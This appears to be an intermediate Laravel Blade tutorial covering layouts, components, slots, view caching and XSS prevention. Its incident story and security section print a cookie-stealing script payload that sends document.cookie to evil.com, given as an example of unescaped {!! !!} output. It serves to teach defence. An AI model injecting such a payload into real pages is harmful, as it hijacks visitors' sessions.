Skip to content
Home PHP Laravel Blade Templates Explained — Layouts, Components and Real-World Patterns

Laravel Blade Templates Explained — Layouts, Components and Real-World Patterns

Where developers are forged. · Structured learning · Free forever.
📍 Part of: Laravel → Topic 5 of 15
Laravel Blade templates demystified: learn layouts, components, slots, directives and real-world patterns with battle-tested code examples and common pitfalls.
⚙️ Intermediate — basic PHP knowledge assumed
In this tutorial, you'll learn
Laravel Blade templates demystified: learn layouts, components, slots, directives and real-world patterns with battle-tested code examples and common pitfalls.
  • The master layout + @yield pattern is the foundation of DRY HTML in Laravel — define your shell once, let every page fill in only its unique content with @section.
  • @forelse is almost always better than @foreach in real apps — it handles empty collections elegantly without a separate @if($items->isEmpty()) check cluttering your view.
  • Class-based Blade components separate UI logic from UI markup, making your components unit-testable without HTTP requests — push match() statements and conditionals into the PHP class, not the Blade file.
✦ Plain-English analogy ✦ Real code with output ✦ Interview questions
Quick Answer
  • Layouts define the HTML shell once — nav, footer, head. Child views extend layouts and fill yield points.
  • Components are reusable UI elements with a PHP class (logic) and a Blade view (markup). Props and slots pass data.
  • Directives (@if, @foreach, @forelse, @yield, @section) replace raw PHP in templates.
  • @extends('layouts.app') — child declares its parent layout
  • @yield('content') — layout marks injection points
  • @section('content') ... @endsection — child fills yield points
  • — component invocation with props
  • $slot — default slot content inside component tags
🚨 START HERE
Blade Template Triage Cheat Sheet
First-response commands when Blade pages render blank, show errors, or display stale content.
🟡Page renders blank — layout shows but no child content.
Immediate ActionCheck for whitespace before @extends and verify section names match.
Commands
head -c 20 resources/views/products/index.blade.php | xxd
php artisan view:clear && php artisan view:cache 2>&1
Fix NowIf first bytes are 0a (newline) or efbbbf (BOM), remove them. If view:cache fails, the error points to the broken template.
🟡'Headers already sent' error on redirect.
Immediate ActionFind the file with output before headers.
Commands
grep -rn 'echo\|print\|<?=' resources/views/ | head -10
head -1 resources/views/layouts/app.blade.php | xxd | head -1
Fix NowRemove any output before @extends. Ensure no PHP echo statements run before Laravel's response headers are set.
🟡XSS vulnerability suspected — script tags in rendered HTML.
Immediate ActionAudit all {!! usages in Blade templates.
Commands
grep -rn '{!!' resources/views/ | wc -l
grep -rn '{!!' resources/views/
Fix NowConvert user-facing {!! usages to {{ }}. For rich text, wrap with HTMLPurifier::purify(). Flag all remaining {!! in code review.
🟡Blade changes not reflected in browser.
Immediate ActionClear view cache and check OPcache.
Commands
php artisan view:clear
php artisan cache:clear && sudo systemctl restart php8.2-fpm
Fix NowIf view:clear fixes it, the compiled cache was stale. If OPcache is the issue, restart PHP-FPM.
🟡Component renders but props are missing.
Immediate ActionVerify prop names match between invocation and class constructor.
Commands
grep 'public' app/View/Components/AlertMessage.php
grep '<x-alert-message' resources/views/**/*.blade.php
Fix NowProp names in <x-component prop="value"> must match constructor parameter names exactly.
🟠View rendering is slow (> 200ms per view).
Immediate ActionCheck if views are cached and profile component constructors.
Commands
ls -la storage/framework/views/ | wc -l
php artisan telescope:prune && php artisan telescope
Fix NowIf views/ is empty, caching is disabled. Check APP_DEBUG=false. If component constructors run queries, move them to view composers.
Production IncidentXSS Vulnerability in User Profile Bio Renders Admin Session HijackA SaaS platform allowed users to set a profile bio displayed on public profile pages. A malicious user submitted a bio containing a JavaScript payload. The bio was rendered with {!! !!} (unescaped output), executing the script in every visitor's browser — including admin users viewing the user's profile for support purposes.
SymptomAdmin users reported being logged out unexpectedly. One admin reported that after viewing a user's profile page, their session was redirected to an external domain. The security team found a suspicious script tag in the rendered HTML of a user's profile page. The script captured the admin's session cookie and sent it to an external server.
AssumptionThe team assumed a CSRF vulnerability — they checked CSRF tokens on all forms (all present and valid). They assumed a session fixation attack — they checked session configuration (configured correctly). They assumed a compromised admin account — they checked login logs (no unauthorized logins). The actual issue was simpler: the profile bio was rendered with {!! $user->bio !!} instead of {{ $user->bio }}.
Root causeA developer used {!! $user->bio !!} to render the user's bio, intending to allow basic HTML formatting (bold, italic). The unescaped output directive renders raw HTML without sanitization. The user submitted a bio containing: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. The script executed in every browser that viewed the profile. The admin viewed the profile during a support ticket investigation, and their session cookie was exfiltrated.
Fix1. Immediately changed {!! $user->bio !!} to {{ $user->bio }} on all user-facing profile pages. 2. Installed and configured HTMLPurifier to sanitize user-submitted HTML when rich text formatting is needed. 3. Added a Blade directive audit: grep -r '{!!' resources/views/ to find all unescaped output usages. 4. Each {!! usage was reviewed and either converted to {{ }} or wrapped with e($content, true) or HTMLPurifier::purify($content). 5. Added a CI lint rule that flags new {!! usages in pull requests. 6. Rotated all admin session tokens.
Key Lesson
{!! !!} is the equivalent of raw SQL — it bypasses all safety mechanisms. Every usage must be auditable and justified.User-submitted content must ALWAYS be rendered with {{ }} (escaped) or sanitized with HTMLPurifier before using {!! !!}.Run grep -r '{!!' resources/views/ periodically to audit all unescaped output. Each occurrence should have a comment explaining why it is safe.Add a CI lint rule that flags new {!! usages. Treat them like raw SQL — they require explicit approval.Admin pages that display user content are high-value targets. Admin session cookies are the crown jewels.
Production Debug GuideFrom blank pages to broken redirects — systematic debugging paths for Blade rendering problems.
Page renders blank or shows only layout without child content.Check if the child view has @extends as the first line (no whitespace before it). Check if @section names match @yield names exactly (case-sensitive). Check if @endsection is present for every @section. Run php artisan view:clear and check for compilation errors in storage/logs/laravel.log.
'Headers already sent' error on redirects or cookie setting.Check the child view file for whitespace or BOM (byte order mark) before @extends. Open the file in a hex editor and verify the first bytes are @extends, not 0xEF 0xBB 0xBF (UTF-8 BOM) or 0x0A (newline). Fix: remove all whitespace before @extends. Set your editor to 'UTF-8 without BOM'.
Component renders but props are missing or show default values.Check if the component class constructor parameter names match the prop names used in the invocation. Props are matched by name, not position. Check if the prop has a default value in the constructor. Check if the component view uses the correct variable names (matching the public property names in the class).
Page loads slowly — Blade rendering takes 500ms+.Check if view caching is enabled: php artisan route:list and verify APP_DEBUG=false. Check storage/framework/views/ for compiled view files. If empty, views are not being cached. Check for expensive queries in view composers or component constructors. Use php artisan debugbar or Laravel Telescope to profile view rendering time.
Named slot content does not appear in the rendered output.Check if the component view uses @isset($slotName) to check for the named slot. Check if the slot name in the component (<x-slot name="actions">) matches the variable name in the component view ($actions). Check if the caller is using <x-slot> inside the component tags, not outside.
Changes to Blade templates are not reflected in the browser.Check if the compiled view cache is stale. Run php artisan view:clear to force recompilation. Check if the file is being served from a CDN or reverse proxy cache (Varnish, Cloudflare). Check if OPcache is caching the compiled PHP file — restart PHP-FPM: sudo systemctl restart php8.2-fpm.

Every professional Laravel application you've ever used — from SaaS dashboards to e-commerce stores — relies on Blade to keep its HTML sane. Without a templating engine, you'd copy-paste your navbar and footer into every single file. Change one link in that navbar? Now you're editing 40 files. Blade exists so that never happens to you.

Blade compiles templates into cached PHP files. The first request compiles the .blade.php file and stores the result in storage/framework/views/. Subsequent requests serve the compiled PHP directly — no re-parsing. This means Blade adds near-zero runtime overhead compared to raw PHP. The compilation cost is paid once per template change.

The architectural decisions you make in Blade — layout depth, component granularity, slot design — directly impact maintainability, testability, and rendering performance at scale. A poorly structured Blade hierarchy with 4 levels of nested layouts and 200-line component files becomes unmanageable after 6 months of feature development.

Blade Layouts: The Master Template Pattern Every App Needs

The layout system is Blade's most important feature and the one most developers underuse. The idea is simple: you define one 'master' layout file that contains your HTML skeleton — doctype, head, nav, footer — and you mark certain regions as 'yield points' using @yield. Child views then 'extend' that master and fill in those yield points using @section.

This is a parent-child relationship. The parent (layout) owns the shell. The child (page view) owns only its content. The child can't accidentally break the nav because it never touches it.

There are two flavours here worth knowing: @yield with a default fallback value, and @section with @show (which renders the section immediately, useful for things like a default sidebar). Most developers only learn @yield and miss the @show trick entirely.

Nested layouts: Production applications often use nested layouts — a base layout (HTML skeleton), an app layout (adds auth navigation), and a section layout (adds sidebar). Each level adds its own structure and yields to the next. The trade-off: deeper nesting means more files to navigate when debugging a missing yield point. Keep nesting to 2-3 levels maximum.

@section with @show vs @yield: @section('sidebar') Default sidebar content @show renders the section immediately AND makes it overridable. @yield('sidebar') only renders if the child provides it. Use @show for sections with meaningful defaults (sidebar, breadcrumbs). Use @yield for sections that have no sensible default (page content).

resources/views/layouts/app.blade.php · PHP
1234567891011121314151617181920212223242526272829303132333435
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">

    {{-- @yield pulls in the child's 'title' section. --}}
    {{-- The second argument is the DEFAULT if the child forgets to set it. --}}
    <title>@yield('title', 'My App — Default Title')</title>

    {{-- Lets child views inject page-specific CSS without breaking global styles --}}
    @yield('page_styles')
</head>
<body>

    <nav class="main-nav">
        <a href="/">Home</a>
        <a href="/products">Products</a>
        <a href="/contact">Contact</a>
    </nav>

    <main class="content-wrapper">
        {{-- This is where every child view's content will be injected --}}
        @yield('content')
    </main>

    <footer>
        <p>&copy; {{ date('Y') }} My App. All rights reserved.</p>
    </footer>

    {{-- Child views can push page-specific scripts here without editing this file --}}
    @yield('page_scripts')

</body>
</html>
▶ Output
No direct output — this is the layout shell. When a child view extends it, the browser receives a fully assembled HTML page with the child's content injected at @yield('content').
Mental Model
Layouts as a Building Blueprint
Why do production apps use nested layouts instead of a single master layout?
  • A single layout forces every page to share the same navigation — authenticated and public pages need different navs.
  • Nested layouts let you compose: base (HTML skeleton) -> app (auth nav) -> dashboard (sidebar).
  • Each level yields to the next. The child only needs to extend the most specific layout.
  • Trade-off: deeper nesting means more files to check when a yield point is missing.
📊 Production Insight
Always add a default value to @yield('title', 'My App'). If a developer forgets to set the title section in a new page, your site won't show a blank browser tab. Small detail, huge polish. For production apps, also add @yield('meta_description', 'Default meta description') for SEO — missing meta descriptions hurt search rankings.
🎯 Key Takeaway
The master layout + @yield pattern is the foundation of DRY HTML in Laravel. Define your shell once, let every page fill in only its unique content with @section. Use @show for sections with defaults (sidebar). Use @yield for sections without defaults (content). Keep layout nesting to 2-3 levels.
Layout Structure Selection
IfSimple app with one navigation (blog, landing page)
UseSingle layout with @yield('content') and @yield('title'). No nesting needed.
IfApp with public and authenticated sections
UseTwo layouts: layouts/guest.blade.php and layouts/app.blade.php. Each has its own nav.
IfAdmin panel with sidebar navigation
UseThree layouts: base -> app -> admin. Admin layout adds sidebar with @section('sidebar') @show for default links.
IfComplex app with multiple section layouts (dashboard, settings, reports)
UseEach section gets its own layout extending the app layout. Keep nesting to 3 levels maximum.

Child Views, @section and @parent — Writing Pages That Don't Repeat Themselves

Now that the master layout exists, every page in your app just needs to extend it and fill in the blanks. The @extends directive is always the very first line of a child view — nothing can come before it, not even whitespace, or you'll get unexpected output in your HTTP headers.

The real power move here is @parent. Imagine your layout defines a default sidebar in a section. A specific page wants to keep that default sidebar AND add something extra to it. @parent lets you render the parent's version of the section and then append to it. Without @parent, you'd completely override the parent content.

This pattern becomes essential in admin panels where a global sidebar exists in the layout, but certain pages (like the settings page) need to inject extra sidebar links without nuking the global ones.

@push and @stack: For pages that need to inject scripts or styles at specific points, @push('scripts') and @stack('scripts') are cleaner than @section/@yield. Multiple child views can @push to the same stack, and the layout renders all of them. This is ideal for page-specific JavaScript that should load after the global scripts.

View composers: When multiple views need the same data (e.g., a list of categories for a sidebar), view composers inject that data automatically without the controller needing to pass it to every view. Register view composers in AppServiceProvider or a dedicated ComposerServiceProvider.

resources/views/products/index.blade.php · PHP
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
{{-- @extends must be the FIRST line. A blank line above this will cause output issues. --}}
@extends('layouts.app')

{{-- Fill the 'title' yield point we defined in the layout --}}
@section('title', 'Browse All Products')

{{-- Inject page-specific CSS. The layout's global CSS is untouched. --}}
@section('page_styles')
    <link rel="stylesheet" href="/css/product-grid.css">
@endsection

{{-- This is the main payload — the unique content of this page --}}
@section('content')

    <div class="page-header">
        <h1>Our Products</h1>
        <p>Browse {{ $products->count() }} items available today.</p>
    </div>

    <div class="product-grid">

        {{-- @forelse is Blade's smart loop: it handles the empty-collection case gracefully --}}
        @forelse($products as $product)

            <div class="product-card">
                <h2>{{ $product->name }}</h2>

                {{-- {{ }} escapes HTML by default — protects against XSS attacks --}}
                <p>{{ $product->description }}</p>

                {{-- number_format keeps currency display consistent --}}
                <span class="price">${{ number_format($product->price_in_cents / 100, 2) }}</span>

                <a href="{{ route('products.show', $product) }}">View Details</a>
            </div>

        @empty
            {{-- This block only renders when $products is empty — no if/else needed --}}
            <div class="empty-state">
                <p>No products found. Check back soon!</p>
            </div>
        @endforelse

    </div>

@endsection

{{-- Inject the charting library only on this page — not loaded app-wide --}}
@section('page_scripts')
    <script src="/js/product-filters.js"></script>
@endsection
▶ Output
Browser renders: full HTML page with nav, footer from layout.app, plus the product grid in between. If $products is empty, the empty-state div renders instead of the loop. Page title in browser tab reads 'Browse All Products'.
Mental Model
Child Views as Room Designs
When should you use @push/@stack instead of @section/@yield?
  • @section/@yield is for content that replaces a region (page content, title).
  • @push/@stack is for accumulating items (scripts, styles, meta tags).
  • Multiple views can @push to the same stack — all items are rendered in order.
  • Use @stack for scripts: the layout defines @stack('scripts') and each page @pushes its own script.
📊 Production Insight
@section('title', 'My Title') is shorthand for a one-liner section. But @section('content') ... @endsection is the multi-line form. Mixing them up — using the shorthand form with @endsection — causes a Blade parsing error that's confusing to debug. The error message does not clearly indicate the problem. Always use the shorthand form for single-line sections and the multi-line form for blocks.
🎯 Key Takeaway
@extends must be the first line — no whitespace before it. @parent appends to the parent section instead of overriding it. @push/@stack accumulates items across views. View composers inject shared data automatically, eliminating duplicated controller logic. Use @forelse over @foreach — it handles empty collections without a separate @if check.

Blade Components — Reusable UI Pieces With Real Logic Attached

Layouts handle page structure. Components handle reusable UI elements — things like alert boxes, modals, buttons, cards. A Blade component is a combination of a PHP class (for logic) and a Blade view (for markup). This separation of concerns is what makes components more powerful than simple @include.

When you run php artisan make:component AlertMessage, Laravel creates two files: app/View/Components/AlertMessage.php and resources/views/components/alert-message.blade.php. The PHP class handles data manipulation, and the view handles presentation.

Components accept data through props (typed attributes declared in the class) and content through slots. The default slot is whatever you put between the opening and closing component tags. Named slots let you inject content into specific regions of a component — just like @yield does for layouts, but scoped to that one component.

Anonymous components: For purely presentational elements (buttons, dividers, badges) with no logic, anonymous components skip the PHP class entirely. Place a Blade file in resources/views/components/ and invoke it with <x-button>. Props are passed via the @props directive at the top of the file.

Component performance: Component constructors are called on every render. If a constructor runs a database query, that query executes on every page render — even if the component's output is cached. Move expensive operations to view composers or lazy-load them with @aware (Laravel 10+).

app/View/Components/AlertMessage.php · PHP
1234567891011121314151617181920212223242526272829303132333435363738394041424344
<?php

namespace App\View\Components;

use Illuminate\View\Component;

class AlertMessage extends Component
{
    /**
     * The alert type controls styling (success, warning, danger, info).
     * We validate it here so the VIEW stays clean and dumb.
     */
    public string $type;
    public string $heading;

    public function __construct(string $type = 'info', string $heading = '')
    {
        // Validate the type so bad values don't slip through to the CSS class
        $this->type = in_array($type, ['success', 'warning', 'danger', 'info'])
            ? $type
            : 'info';

        $this->heading = $heading;
    }

    /**
     * A computed property — available in the view as $iconClass.
     * Logic lives HERE, not buried in the Blade template.
     */
    public function iconClass(): string
    {
        return match($this->type) {
            'success' => 'icon-check-circle text-green-600',
            'warning' => 'icon-exclamation text-yellow-600',
            'danger'  => 'icon-x-circle text-red-600',
            default   => 'icon-info text-blue-600',
        };
    }

    public function render()
    {
        return view('components.alert-message');
    }
}
▶ Output
No direct output — this is the PHP class. The render() method tells Laravel which Blade view to use for this component.
Mental Model
Components as Legos
When should you use an anonymous component vs a class-based component?
  • Anonymous components: purely presentational, no logic, just markup with props. Use for buttons, dividers, badges.
  • Class-based components: need validation, computed properties, or conditional logic. Use for alerts, modals, data tables.
  • If you need a match() statement or validation in the component, use a class. If it's just HTML with variable substitution, use anonymous.
  • Anonymous components are defined with @props at the top of the Blade file. No PHP class is generated.
📊 Production Insight
Putting the iconClass logic in the PHP class instead of the Blade view means you can unit-test it with a plain PHPUnit test — no HTTP request needed. Blade templates are notoriously hard to unit test, so push conditional logic into the component class whenever possible. Test the class method, not the rendered HTML.
🎯 Key Takeaway
Class-based components separate UI logic from UI markup, making components unit-testable without HTTP requests. Push match() statements and conditionals into the PHP class, not the Blade file. Anonymous components are for pure presentation. Named slots let components expose multiple content regions.
Component Type Selection
IfPurely presentational — just HTML with variable substitution (button, divider, badge)
UseAnonymous component with @props. No PHP class needed.
IfNeeds validation, computed properties, or conditional logic (alert, modal, data table)
UseClass-based component. Logic in PHP class, markup in Blade view.
IfNeeds to accept rich content in multiple regions (card with header, body, footer)
UseClass-based component with named slots. Use @isset($slotName) for optional slots.
IfShared across many pages with different data (pagination, breadcrumbs)
UseClass-based component with view composer for shared data injection.

Component Views, Slots and Using Components in Real Pages

The component view file is where your HTML lives. It receives all public properties from the PHP class automatically as variables. The special $slot variable holds whatever content you placed between the component tags when you used it.

Named slots let your component expose multiple content regions. Think of a card component that has a header slot, a body slot (the default $slot), and a footer slot. The page using the card decides what goes in each region — the component just provides the structure.

Anonymous components (created without a PHP class, just a Blade file in resources/views/components/) are great for purely presentational things like buttons or dividers where there's no logic involved. If it needs logic, use a class-based component. If it's just markup with props, use an anonymous component.

Slot scoping and attributes: Slots receive the parent's variable scope by default. If the parent has $user available, the slot content can access $user. Named slots can also receive data from the component via scoped slots — the component passes data to the slot, and the slot content can access it. This is useful for rendering lists where the component controls the iteration but the caller controls the item template.

Component attributes ($attributes): The $attributes variable captures any HTML attributes passed to the component that are not declared as props. Use $attributes->merge() to combine caller-provided attributes with component defaults. This enables the component to accept arbitrary HTML attributes (class, id, data-*) without declaring each one as a prop.

resources/views/components/alert-message.blade.php · PHP
1234567891011121314151617181920212223242526272829
{{-- 
  $type, $heading are automatically available from the PHP class public properties.
  $iconClass() is called as a method — note the () syntax.
  $slot holds the content placed between <x-alert-message> tags.
--}}
<div class="alert alert-{{ $type }}" role="alert">

    <div class="alert-icon">
        {{-- Calling the computed method from the component class --}}
        <span class="{{ $iconClass() }}"></span>
    </div>

    <div class="alert-body">
        @if($heading)
            <h4 class="alert-heading">{{ $heading }}</h4>
        @endif

        {{-- $slot renders whatever the caller put between the component tags --}}
        <p>{{ $slot }}</p>
    </div>

    {{-- Named slot: renders only if the caller provides a footer slot --}}
    @isset($actions)
        <div class="alert-actions">
            {{ $actions }}
        </div>
    @endisset

</div>
▶ Output
// ─────────────────────────────────────────────────────────
// HOW YOU USE THIS COMPONENT in any Blade page:
// ─────────────────────────────────────────────────────────
//
// <x-alert-message type="success" heading="Order Confirmed">
// Your order #1042 has been shipped and will arrive Friday.
// <x-slot name="actions">
// <a href="/orders/1042">Track Order</a>
// </x-slot>
// </x-alert-message>
//
// ─── Browser renders: ────────────────────────────────────
// <div class="alert alert-success" role="alert">
// <div class="alert-icon"><span class="icon-check-circle text-green-600"></span></div>
// <div class="alert-body">
// <h4 class="alert-heading">Order Confirmed</h4>
// <p>Your order #1042 has been shipped and will arrive Friday.</p>
// </div>
// <div class="alert-actions"><a href="/orders/1042">Track Order</a></div>
// </div>
Mental Model
Slots as Filling Stations
What is the difference between the default slot and named slots?
  • The default slot ($slot) is everything between the component tags that is NOT inside a named <x-slot>.
  • Named slots (<x-slot name="header">) inject content into specific regions of the component.
  • The component controls WHERE each slot renders. The caller controls WHAT each slot contains.
  • Use @isset($slotName) in the component view to check if a named slot was provided before rendering it.
📊 Production Insight
Use @isset($actions) instead of @if($actions->isNotEmpty()) to check for named slots. A named slot variable is always defined (it's a HtmlString object), but @isset checks whether the caller actually provided it. This is the correct pattern for optional named slots. Using @if on an empty HtmlString can produce unexpected truthy results.
🎯 Key Takeaway
The component view receives public properties as variables and $slot for default content. Named slots let components expose multiple content regions. Use @isset($slotName) for optional slots. $attributes->merge() enables arbitrary HTML attribute passthrough. Scoped slots let components pass data back to the caller's slot template.

Blade Compilation, Caching, and Performance Tuning

Blade compiles .blade.php files into plain PHP files on first render. The compiled files are stored in storage/framework/views/ and served directly on subsequent requests. This means Blade adds near-zero runtime overhead — the compilation cost is paid once per template change.

Compilation lifecycle: On first request, Laravel checks if a compiled version exists in storage/framework/views/. If not (or if the source .blade.php is newer than the compiled file), it compiles the template. The compiled file is a standard PHP file that echoes HTML and executes PHP blocks. Subsequent requests include the compiled PHP file directly — no Blade parsing occurs.

Cache in production: In production (APP_DEBUG=false), Laravel caches compiled views aggressively. The view:cache artisan command pre-compiles all templates, eliminating the first-request compilation penalty. Always run php artisan view:cache during deployment.

Cache clearing pitfalls: php artisan view:clear deletes all compiled views. The next request triggers recompilation of every template — this can cause a latency spike on the first request after cache clear. In production, always run view:cache immediately after view:clear to pre-compile.

OPcache interaction: PHP's OPcache caches the compiled PHP bytecode. When Blade compiles a template to PHP, OPcache caches that PHP file's bytecode. This means Blade templates benefit from both Blade's compilation cache AND PHP's OPcache. Restarting PHP-FPM clears OPcache, causing a latency spike on the next request.

io/thecodeforge/blade-cache-management.sh · BASH
1234567891011121314151617181920212223242526272829303132333435
#!/bin/bash
# Blade cache management for production deployments

# ── Pre-compile all views during deployment ──────────────────────────────────
# This runs as part of the deployment script, not on first request
php artisan view:cache
# Compiles all .blade.php files to storage/framework/views/

# ── Check compiled view count ───────────────────────────────────────────────
ls -la storage/framework/views/ | wc -l
# Shows how many compiled view files exist

# ── Clear and recompile (deployment step) ────────────────────────────────────
# Always clear THEN cache in sequence — never clear without recompiling
php artisan view:clear && php artisan view:cache

# ── Check OPcache status ────────────────────────────────────────────────────
php -r "var_dump(opcache_get_status());" | head -20
# Shows: memory_usage, opcache_statistics, scripts

# ── Warm OPcache after PHP-FPM restart ──────────────────────────────────────
# After restarting PHP-FPM, hit the homepage to warm the cache
sudo systemctl restart php8.2-fpm
curl -s http://localhost/ > /dev/null
# First request compiles and caches. Subsequent requests are fast.

# ── Monitor view compilation time ────────────────────────────────────────────
# Add to AppServiceProvider::boot() for debugging:
# \Illuminate\Support\Facades\Blade::precompiler(function ($value) {
#     $start = microtime(true);
#     $result = app('blade.compiler')->compileString($value);
#     $duration = microtime(true) - $start;
#     \Log::info('Blade compilation', ['duration_ms' => $duration * 1000]);
#     return $result;
# });
▶ Output
# Compiled views:
47 compiled view files

# OPcache status:
array(3) {
["memory_usage"]=> array(4) { ["used_memory"]=> int(12345678) }
["opcache_statistics"]=> array(12) { ["opcache_hit_rate"]=> float(99.2) }
["scripts"]=> array(47) { /* compiled blade templates */ }
}

# OPcache hit rate: 99.2% — templates are cached effectively
Mental Model
Blade Compilation as Translation
Why should you never run php artisan view:clear in production without immediately running view:cache?
  • view:clear deletes all compiled templates. The next request triggers compilation of every template.
  • Compilation is CPU-intensive — compiling 50 templates can take 200-500ms.
  • If 100 concurrent users hit the site simultaneously after a cache clear, all 100 requests trigger compilation.
  • Always pair: php artisan view:clear && php artisan view:cache. This pre-compiles everything before users arrive.
📊 Production Insight
The view:clear + view:cache pattern must be part of your deployment script. If you deploy new Blade templates without running view:cache, the first user request triggers compilation. Under load, this causes a latency spike as multiple requests compete to compile the same template. Add view:clear && view:cache to your CI/CD pipeline after code deployment and before traffic is routed to the new version.
🎯 Key Takeaway
Blade compiles to cached PHP files — near-zero runtime overhead. Always run view:cache during deployment. Never run view:clear without immediately running view:cache. OPcache further caches the compiled PHP bytecode. Restarting PHP-FPM clears OPcache — warm it with a request after restart.

Security: XSS Prevention, Output Escaping, and Template Auditing

Blade's default output directive {{ $variable }} automatically escapes HTML using htmlspecialchars. This is your primary defense against XSS (Cross-Site Scripting) attacks. The unescaped directive {!! $variable !!} renders raw HTML without escaping — it is equivalent to raw SQL and should be treated with the same caution.

XSS attack vector: A user submits a profile bio containing <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>. If the bio is rendered with {!! $user->bio !!}, the script executes in every visitor's browser. If rendered with {{ $user->bio }}, the script tag is escaped to &lt;script&gt;...&lt;/script&gt; and displayed as harmless text.

When {!! !!} is acceptable: Only when the content has been explicitly sanitized with HTMLPurifier or generated by your own trusted code (e.g., a CMS rich text editor that sanitizes on save). Every {!! usage should have a comment explaining why it is safe.

Audit strategy: Run grep -rn '{!!' resources/views/ to find all unescaped output. Each occurrence should be reviewed: is the data user-submitted? Has it been sanitized? Is there a comment explaining the safety? Add a CI lint rule that flags new {!! usages in pull requests.

Attribute injection: Even with {{ }}, attributes can be exploited. href="{{ $url }}" is safe if $url is validated. But href="javascript:{{ $url }}" allows code execution. Always validate URLs server-side before rendering them in href attributes. Use Laravel's validated URL helper or the URL validation rule.

io/thecodeforge/blade-security-audit.php · PHP
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172
<?php

namespace Io\Thecodeforge\Security;

/**
 * Blade security audit utility.
 * Run via: php artisan tinker --execute="(new \Io\Thecodeforge\Security\BladeAuditor())->audit()"
 */
class BladeAuditor
{
    /**
     * Scan all Blade templates for unescaped output and report findings.
     */
    public function audit(): array
    {
        $viewPath = resource_path('views');
        $findings = [];

        $files = new \RecursiveIteratorIterator(
            new \RecursiveDirectoryIterator($viewPath)
        );

        foreach ($files as $file) {
            if ($file->getExtension() !== 'php') continue;

            $content = file_get_contents($file->getPathname());
            $lines = explode("\n", $content);

            foreach ($lines as $lineNumber => $line) {
                // Find unescaped output: {!! ... !!}
                if (preg_match('/\{!!\s*(.+?)\s*!!\}/', $line, $matches)) {
                    $findings[] = [
                        'file' => str_replace($viewPath . '/', '', $file->getPathname()),
                        'line' => $lineNumber + 1,
                        'expression' => trim($matches[1]),
                        'risk' => $this->assessRisk($matches[1], $content),
                    ];
                }

                // Find potential attribute injection: href="javascript:..."
                if (preg_match('/href\s*=\s*["\']javascript:/i', $line)) {
                    $findings[] = [
                        'file' => str_replace($viewPath . '/', '', $file->getPathname()),
                        'line' => $lineNumber + 1,
                        'expression' => trim($line),
                        'risk' => 'CRITICAL — javascript: protocol in href attribute',
                    ];
                }
            }
        }

        return $findings;
    }

    private function assessRisk(string $expression, string $fileContent): string
    {
        // Check if the expression references user-submitted data
        $userPatterns = ['$user', '$request', '$input', '->bio', '->description', '->content'];
        foreach ($userPatterns as $pattern) {
            if (str_contains($expression, $pattern)) {
                return 'HIGH — references user-submitted data';
            }
        }

        // Check if HTMLPurifier is used nearby
        if (str_contains($fileContent, 'HTMLPurifier') || str_contains($fileContent, 'purify')) {
            return 'MEDIUM — HTMLPurifier detected in file (verify it wraps this expression)';
        }

        return 'LOW — does not reference user data (verify manually)';
    }
}
▶ Output
// Usage:
// $ php artisan tinker --execute="(new \Io\Thecodeforge\Security\BladeAuditor())->audit()"
//
// Output:
// [
// {
// "file": "products/show.blade.php",
// "line": 42,
// "expression": "$product->description",
// "risk": "HIGH — references user-submitted data"
// },
// {
// "file": "admin/dashboard.blade.php",
// "line": 15,
// "expression": "$trustedHtml",
// "risk": "MEDIUM — HTMLPurifier detected in file (verify it wraps this expression)"
// }
// ]
Mental Model
Output Escaping as a Translator
Why is HTMLPurifier necessary even when using {!! !!}?
  • {!! !!} renders raw HTML — it does not filter dangerous tags or attributes.
  • HTMLPurifier parses the HTML, strips dangerous elements (<script>, <iframe>), and allows only safe tags.
  • Without HTMLPurifier, {!! !!} on user content is an XSS vulnerability.
  • Configure HTMLPurifier with a strict allowlist: only p, b, i, a[href], ul, ol, li.
📊 Production Insight
Run grep -rn '{!!' resources/views/ as part of your CI pipeline. Each occurrence should have a corresponding comment or a link to a sanitization function. If a new {!! appears in a pull request without justification, the PR should be blocked. Treat {!! } like raw SQL — require explicit approval and evidence of sanitization.
🎯 Key Takeaway
{{ }} escapes HTML by default and is your XSS shield. Treat {!! !!} like raw SQL — only use it with explicit sanitization (HTMLPurifier). Audit all {!! usages in CI. Validate URLs before rendering in href attributes. Every {!! } in a codebase should be auditable and justified.
Output Escaping Decision
IfDisplaying user-submitted text (name, bio, comment)
UseAlways use {{ }}. Never use {!! !!}.
IfDisplaying rich text from a CMS or editor
UseUse {!! HTMLPurifier::purify($content) !!}. Configure a strict allowlist.
IfDisplaying HTML generated by your own trusted code
UseUse {!! !!} with a comment explaining why it is safe. Verify the generating code does not include user input.
IfRendering a URL in an href attribute
UseValidate with filter_var($url, FILTER_VALIDATE_URL) before rendering. Never use javascript: protocol.
🗂 Blade Template Primitives: @include vs Components vs Layouts
When to use each pattern based on complexity, reusability, and testability requirements.
Feature@includeBlade ComponentsLayouts (@extends/@yield)
PurposeEmbed a static partial (nav, footer snippets)Reusable UI element with its own logic and propsPage-level HTML shell shared across all pages
Passes dataVia second argument array or parent scopeVia typed props declared in PHP class constructorVia @section/@yield injection points
Has logic layerNo — pure viewYes — dedicated PHP class with testable methodsNo — but child views can contain logic
Slots supportNo — all or nothingYes — default $slot + unlimited named slotsYes — @yield and @section act as slots
Unit testableNo — requires renderingYes — class methods are plain PHP, fully testableNo — requires rendering
Nesting depthUnlimited (can @include inside @include)Unlimited (can nest components inside components)2-3 levels recommended (base -> app -> section)
Best used forSimple includes like nav, footer, modalsAlert boxes, cards, buttons, data tables, form inputsHTML skeleton shared across all pages in a section
File locationresources/views/partials/resources/views/components/ + app/View/Components/resources/views/layouts/
Invocation syntax@include('partials.nav')<x-alert-message type="success" />@extends('layouts.app')
PerformanceFast — direct file includeFast — compiled to direct PHP includeFast — compiled once, cached

🎯 Key Takeaways

  • The master layout + @yield pattern is the foundation of DRY HTML in Laravel — define your shell once, let every page fill in only its unique content with @section.
  • @forelse is almost always better than @foreach in real apps — it handles empty collections elegantly without a separate @if($items->isEmpty()) check cluttering your view.
  • Class-based Blade components separate UI logic from UI markup, making your components unit-testable without HTTP requests — push match() statements and conditionals into the PHP class, not the Blade file.
  • {{ }} escapes HTML output by default and is your XSS shield — treat {!! !!} like raw SQL and only use it when you've explicitly sanitized the content yourself.
